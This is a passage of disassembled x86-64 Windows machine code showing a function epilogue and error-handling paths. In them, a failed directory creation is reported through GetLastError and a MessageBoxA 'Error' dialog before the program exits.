mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000610d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006144
call fcn.140034078
xor eax, eax
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.140033d70
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140043410
int3
call fcn.140001510
int3
call fcn.140043410
int3
xor ecx, ecx
call fcn.140042d0c
int3
call fcn.140043410
int3
call fcn.140043410
int3
lea r8, [rsp + 0x48]
mov edx, eax
lea rcx, str.create_directory
call fcn.1400026a0
int3
call fcn.140043410
int3
call fcn.140001470
int3
call fcn.140043410
int3
call fcn.140043410
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x240]
call fcn.140001bb0
mov rbx, rax
lea rcx, [rbp - 0x78]
call fcn.140003e40
mov rdi, rax
lea rcx, [rsp + 0x68]
call fcn.140003cf0
mov rdx, rax
lea r8, [0x14007e7c4]
lea rcx, [rbp + 0x50]
call fcn.140007730
mov r8, rdi
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.1400077a0
mov rdx, rax
lea r8, [0x14007e7c0]
lea rcx, [rsp + 0x48]
call fcn.140007730
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.1400077a0
lea rcx, [rsp + 0x48]
call fcn.140006c60
lea rcx, [rbp - 0x58]
call fcn.140006c60
lea rcx, [rbp + 0x50]
call fcn.140006c60
lea rcx, [rsp + 0x68]
call fcn.140006c60
lea rcx, [rbp - 0x78]
call fcn.140006c60
lea rcx, [rbp + 0x240]
call fcn.140006c60
lea rcx, [rbp + 0x260]
call fcn.140006c50
mov rdx, rax
mov r9d, 0x10
lea r8, str.Error
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call fcn.140042d0c
int3
call fcn.140043410
int3